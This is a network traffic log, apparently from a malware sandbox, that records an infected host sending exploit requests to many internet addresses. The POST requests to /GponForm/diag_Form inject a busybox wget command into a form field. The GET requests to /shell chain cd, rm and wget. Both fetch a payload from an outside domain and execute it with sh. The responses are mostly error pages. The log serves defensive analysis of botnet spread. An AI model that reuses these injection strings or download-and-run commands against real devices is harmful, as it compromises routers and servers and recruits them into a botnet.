Session ID	Source IP	Source Port	Destination IP	Destination Port
1162	192.168.2.13	51886	202.186.136.103	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931824923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1163	192.168.2.13	56030	178.34.74.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931920052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1164	192.168.2.13	40100	94.55.251.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931936026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1165	192.168.2.13	33488	221.113.168.50	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.409303904 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.752005100 CEST	35	IN	HTTP/1.1 404 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1166	192.168.2.13	51988	13.75.119.219	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.415257931 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.727149010 CEST	379	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sun, 14 Apr 2024 02:00:36 GMT Content-Type: text/html Content-Length: 138 Location: http://127.0.0.1/index.html?shareName=127.0.0.1&proxyAccount= Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1167	192.168.2.13	60518	37.100.134.205	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.444458008 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.813273907 CEST	36	IN	HTTP/1.1 403 Forbidden
Apr 14, 2024 04:00:36.819895983 CEST	221	IN	Data Raw: 53 65 72 76 65 72 3a 20 61 6c 70 68 61 70 64 2f 32 2e 31 2e 35 0d 0a 44 61 74 65 3a 20 53 61 74 20 4a 61 6e 20 20 37 20 31 31 3a 33 34 3a 34 39 20 32 30 31 37 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e Data Ascii: Server: alphapd/2.1.5Date: Sat Jan 7 11:34:49 2017Pragma: no-cacheCache-Control: no-cacheContent-type: text/htmlContent-length: 62<html><body><h1>The request is forbidden.</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1168	192.168.2.13	58360	42.193.19.169	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.456796885 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.808199883 CEST	58	IN	Data Raw: 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: </fieldset></div></div></body></html>
Apr 14, 2024 04:00:36.808259964 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 01:58:30 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1169	192.168.2.13	39718	4.159.63.164	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.712470055 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.022373915 CEST	238	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sun, 14 Apr 2024 02:00:36 GMT Content-Type: application/octet-stream Content-Length: 19 Connection: keep-alive X-INVALIDATE-CACHE: 1 Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port
1170	192.168.2.13	58002	18.173.187.36	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.719960928 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.033782005 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:36 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1171	192.168.2.13	56836	187.45.195.230	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.775036097 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.114202976 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 01:56:16 GMT Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 Content-Language: en Data Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 30 37 0d 0a 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 66 0d 0a 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0d 0a 31 31 0d 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 0d 0a 32 31 0d 0a 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 0d 0a 31 36 0d 0a 31 32 37 2e 30 2e 30 2e 31 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 0d 0a 39 0d 0a 0a 20 20 3c 73 70 61 6e 3e 0d 0a 32 31 Data Ascii: 1e<?xml version="1.0" encoding="afISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="een" xml:lang="13en"><head><title>38Object not found!</title><link rev="made" href="mailto:107root@localhost" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>1bObject not found!</h1><p>39 The requested URL was not found on this server. 57 If you entered the URL manually please check your spelling and try again. 29</p><p>48If you think this is a server error, please contactthe <a href="mailto:1froot@localhost">webmaster</a>.11</p><h2>Error 21404</h2><address> <a href="/">16127.0.0.1</a><br /> 9 <span>21
Apr 14, 2024 04:00:37.114217997 CEST	107	IN	Data Raw: 0d 0a 53 61 74 20 41 70 72 20 31 33 20 32 32 3a 35 36 3a 31 36 20 32 30 32 34 3c 62 72 20 2f 3e 0a 20 20 0d 0a 32 39 0d 0a 41 70 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: Sat Apr 13 22:56:16 2024<br /> 29Apache</span></address></body></html>10

Session ID	Source IP	Source Port	Destination IP	Destination Port
1172	192.168.2.13	35694	2.193.208.197	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.076373100 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.469002008 CEST	452	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 04:00:36 GMT X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Length: 181 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=8, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /shell</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1173	192.168.2.13	42408	52.217.226.8	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.711222887 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.937272072 CEST	309	IN	HTTP/1.1 301 Moved Permanently x-amz-bucket-region: eu-central-1 x-amz-request-id: NRK23V3AR901WZH7 x-amz-id-2: W5EzrOokNNgYd+VUg2PVhZQqD9oXV5U4SdT5MBz1m7TY4IPc2AD9XX/shhHqdRcZhAKmj3NzELo= Content-Type: application/xml Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:00:37 GMT Server: AmazonS3
Apr 14, 2024 04:00:37.937293053 CEST	449	IN	Data Raw: 31 62 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 50 65 72 6d 61 6e 65 6e 74 52 65 64 69 72 65 63 74 3c 2f 43 6f 64 65 3e 3c Data Ascii: 1b5<?xml version="1.0" encoding="UTF-8"?><Error><Code>PermanentRedirect</Code><Message>The bucket you are attempting to access must be addressed using the specified endpoint. Please send all future requests to this endpoint.</Message><Endpo
Apr 14, 2024 04:00:38.150065899 CEST	758	IN	HTTP/1.1 301 Moved Permanently x-amz-bucket-region: eu-central-1 x-amz-request-id: NRK23V3AR901WZH7 x-amz-id-2: W5EzrOokNNgYd+VUg2PVhZQqD9oXV5U4SdT5MBz1m7TY4IPc2AD9XX/shhHqdRcZhAKmj3NzELo= Content-Type: application/xml Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:00:37 GMT Server: AmazonS3 Data Raw: 31 62 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 50 65 72 6d 61 6e 65 6e 74 52 65 64 69 72 65 63 74 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 62 75 63 6b 65 74 20 79 6f 75 20 61 72 65 20 61 74 74 65 6d 70 74 69 6e 67 20 74 6f 20 61 63 63 65 73 73 20 6d 75 73 74 20 62 65 20 61 64 64 72 65 73 73 65 64 20 75 73 69 6e 67 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 65 6e 64 70 6f 69 6e 74 2e 20 50 6c 65 61 73 65 20 73 65 6e 64 20 61 6c 6c 20 66 75 74 75 72 65 20 72 65 71 75 65 73 74 73 20 74 6f 20 74 68 69 73 20 65 6e 64 70 6f 69 6e 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 45 6e 64 70 6f 69 6e 74 3e 73 68 65 6c 6c 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 3c 2f 45 6e 64 70 6f 69 6e 74 3e 3c 42 75 63 6b 65 74 3e 73 68 65 6c 6c 3c 2f 42 75 63 6b 65 74 3e 3c 52 65 71 75 65 73 74 49 64 3e 4e 52 4b 32 33 56 33 41 52 39 30 31 57 5a 48 37 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 57 35 45 7a 72 4f 6f 6b 4e 4e 67 59 64 2b 56 55 67 32 50 56 68 5a 51 71 44 39 6f 58 56 35 55 34 53 64 54 35 4d 42 7a 31 6d 37 54 59 34 49 50 63 32 41 44 39 58 58 2f 73 68 68 48 71 64 52 63 5a 68 41 4b 6d 6a 33 4e 7a 45 4c 6f 3d 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b5<?xml version="1.0" encoding="UTF-8"?><Error><Code>PermanentRedirect</Code><Message>The bucket you are attempting to access must be addressed using the specified 